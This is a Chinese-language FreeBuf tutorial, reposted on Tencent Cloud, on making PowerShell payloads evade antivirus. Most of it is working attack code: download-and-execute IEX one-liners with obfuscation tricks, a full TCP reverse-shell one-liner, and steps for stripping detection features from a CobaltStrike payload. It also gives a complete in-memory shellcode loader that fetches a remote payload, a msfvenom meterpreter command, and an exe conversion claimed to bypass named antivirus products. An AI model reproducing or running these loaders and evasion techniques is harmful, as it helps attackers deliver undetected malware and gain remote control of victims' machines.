前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Powershell免杀从入门到实践

Powershell免杀从入门到实践

作者头像
FB客服
发布2021-03-09 15:06:55
2.8K0
发布2021-03-09 15:06:55
举报
文章被收录于专栏:FreeBuf

前言

在之前发布的一篇 渗透技巧之Powershell实战思路中,学习了powershell在对抗Anti-Virus的方便和强大。团队免杀系列又有了远控免杀从入门到实践(6)-代码篇-Powershell更是拓宽了自己的认知。这里继续学习powershell在对抗Anti-Virus的骚姿势。

绕过执行策略

powershell 可以通过绕过执行策略来执行恶意程序。 而从文件是否落地可以简单分为落地的bypass、不落地的bypass。 以落地为例

代码语言:javascript
复制
powershell -ExecutionPolicy bypass -File  a.ps1

以不落地为例,如我们熟知的IEX

代码语言:javascript
复制
powershell  -c "IEX(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/a')"

从免杀上来说,查杀比较严格的当然是不落地文件的这种方式。 我们可以将两种方式混用来实现简单的bypass 如:

代码语言:javascript
复制
echo Invoke-Expression(new-object net.webclient).downloadstring('http://xxx.xxx.xxx/a') | powershell -

如:

代码语言:javascript
复制
powershell -c "IEX(New-Object Net.WebClient).DownloadString('d://a')"

简单混淆

powershell混淆姿势有很多,如字符串转换、变量转换、编码、压缩等等。根据powershell语言的特性来混淆代码,从而绕过Anti-Virus。

处理powershell

利用cmd的混淆以不同的姿势调用powershell 如利用win10环境变量截取出powershell

代码语言:javascript
复制
%psmodulepath:~24,10%

处理IEX

为IEX设置别名

代码语言:javascript
复制
powershell set-alias -name cseroad -value Invoke-Expression;cseroad(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/a')

处理downloadstring

使用转义符

代码语言:javascript
复制
"Down`l`oadString"

处理http

以变量的方式拆分http

代码语言:javascript
复制
powershell "$a='((new-object net.webclient).downloadstring(''ht';$b='tp://109.xx.xx.xx/a''))';IEX ($a+$b)"

以中文单引号分割

代码语言:javascript
复制
ht‘+’tp

基于以上混淆基础,就可以实现多种bypass的姿势 如:

代码语言:javascript
复制
cmd /c "set p1=power&& set p2=shell&& cmd /c echo (New-Object Net.WebClient).DownloadString("http://109.xx.xx/a") ^|%p1%%p2% -"

如:

代码语言:javascript
复制
echo Invoke-Expression (New-Object "NeT.WebClient")."Down`l`oadString"('h'+'ttp://106.xx.xx.xx/a') | powershell -

如:

代码语言:javascript
复制
chcp 1200 & powershell  -c "IEX(New-Object Net.WebClient)."DownloadString"('ht‘+’tp://xx.xx.xx/a')"

这里再分享一个小技巧: 在测试对抗某些杀毒软件时,发现对cmd下操作查杀比较严格,相对来说powershell环境下更容易bypass。 而实际中可能更多的默认为cmd。我们可以先用socket一句话反弹powershell环境,再执行后续操作。 客户端执行命令:

代码语言:javascript
复制
powershell  -c "$client = New-Object Net.Sockets.TCPClient('106.xxx.xxx.xxx',9090);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback=(iex $data 2>&1 | Out-String );$sendata =$sendback+'PS >';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendata);$leng=$sendbyte.Length;$stream.Write($sendbyte,0,$leng);$stream.Flush()};$client.Close()"

服务端nc监听即可:

代码语言:javascript
复制
nc -lvp 9090

以此来迂回地达到我们的目的。

分析CobaltStrike powershell command

这里使用CobaltStrike 4.1来生成payload

访问83端口的a文件,获取payload代码。 查看代码,可以看到先使用base64解码一段字符串,又通过IO.Compression.GzipStream解压缩,并将代码进行IEX执行。

代码语言:javascript
复制
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("xxx"));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

修改IEX为echo,保存为aaaa.ps1文件,运行得到源码。

代码语言:javascript
复制
powershell -ExecutionPolicy bypass -File  aaaaa.ps1 >> old.txt

可以看出大概分为func_get_delegate_typefunc_get_proc_address两个函数,然后是一个base64解码的函数,且将byte数组进行了xor的异或操作。然后分配一些内存,将有效负载复制到分配的内存空间中。最后判断计算机架构并执行。

那么关键位置就应该是这串base编码的数据了。事实上,这段数据是bin文件编码得来的。 我们将该byte数组保存为new.bin文件。

代码语言:javascript
复制
$enc=[System.Convert]::FromBase64String('base64编码字符串')for ($x = 0; $x -lt $enc.Count; $x++) {    $enc[$x] = $enc[$x] -bxor 35}$infile = [System.IO.File]::WriteAllBytes("new.bin",$enc)

而后修改为读取new.bin文件内容到内存后再上线。 即

代码语言:javascript
复制
[Byte[]]$var_code = [System.IO.File]::ReadAllBytes('new.bin')

其余代码未修改。

执行后可正常上线。 放入VT查杀一下11/59

这时候我们就得到了powershell版的一个加载器,继续尝试修改该加载器本身的一些特征。

func_get_delegate_typefunc_get_proc_address两个函数重命名替换,对函数里面的一些变量进行重新定义 重命名$DoIt$aaaa 修改IEX为I`EX 修改Invoke为Inv’+’oke 替换$var_code$acode

放入VT再次查杀2/58

powershell加载器

上面的脚本通过读取new.bin中的字节数组并在内存执行从而成功使cobalt strike上线。 那同样可以从远程文件读取shellcode,并加载到内存执行,来实现payload无落地。

加载器代码如下:

代码语言:javascript
复制
Set-StrictMode -Version 2
function func_get_delegate_type_new {    Param (        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,        [Parameter(Position = 1)] [Type] $var_return_type = [Void]    )    $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])    $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')    $var_type_builder.DefineMethod('Inv'+'oke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')    return $var_type_builder.CreateType()}
function func_get_proc_address_new {    Param ($var_module, $var_procedure)            $var_unsafe_native_methods = [AppDomain]::CurrentDomain.GetAssemblies()    $var_unsafe_native_methods_news = ($var_unsafe_native_methods  | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')    $var_gpa = $var_unsafe_native_methods_news.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))    return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods_news.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))}
If ([IntPtr]::size -eq 8) {    [Byte[]]$acode = (New-Object Net.WebClient)."Down`l`oadData"($args[0])    $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address_new kernel32.dll VirtualAlloc), (func_get_delegate_type_new @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))    $var_buffer = $var_va.Invoke([IntPtr]::Zero, $acode.Length, 0x3000, 0x40)    [System.Runtime.InteropServices.Marshal]::Copy($acode, 0, $var_buffer, $acode.length)    $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type_new @([IntPtr]) ([Void])))    $var_runme.Invoke([IntPtr]::Zero)
}

CobaltStrike生成payload.bin文件时,注意勾选x64。

将该payload.bin文件放置在远程服务器上,powershell执行bypass操作。

代码语言:javascript
复制
powershell -ExecutionPolicy bypass -File old.ps1 http://106.xx.xx.xx/payload.bin

CobaltStrike正常上线。

metasploit 也是同样的道理。使用msfvenom生成raw文件,看看加载器是否通用。 生成raw木马

代码语言:javascript
复制
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.26 LPORT=4444 -f raw -e x86/shikata_ga_nai -i 5 -o /var/www/html/shell.bin

powershell直接利用加载器加载该bin文件。

代码语言:javascript
复制
powershell -ExecutionPolicy bypass -File a.ps1 http://10.211.55.26/shell.bin

metasploit 也可以正常上线。

powershell转exe

在修改了加载器之后,我们还可以通过powershell代码将其加载器转换为exe程序。 借助Win-PS2EXE项目,通过ps2exe.ps1脚本将加载器转为exe文件。更方便实战中使用。

代码语言:javascript
复制
powershell.exe -ExecutionPolicy bypass  -command "&'.\ps2exe.ps1' -inputFile 'old.ps1' -outputFile 'aaa.exe'"

查杀率5/70

测试可过360、火绒。

总结

利用cmd、powershell语法混淆实现了bypass; 简单分析CobaltStrike powershell payload 获得powershell版本的shellcode加载器; 利用Win-PS2EXE项目转换为exe更方便实际利用。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-03-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 绕过执行策略
  • 简单混淆
    • 处理powershell
      • 处理IEX
        • 处理downloadstring
          • 处理http
          • 分析CobaltStrike powershell command
          • powershell加载器
          • powershell转exe
          • 总结
          相关产品与服务
          命令行工具
          腾讯云命令行工具 TCCLI 是管理腾讯云资源的统一工具。使用腾讯云命令行工具,您可以快速调用腾讯云 API 来管理您的腾讯云资源。此外,您还可以基于腾讯云的命令行工具来做自动化和脚本处理,以更多样的方式进行组合和重用。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档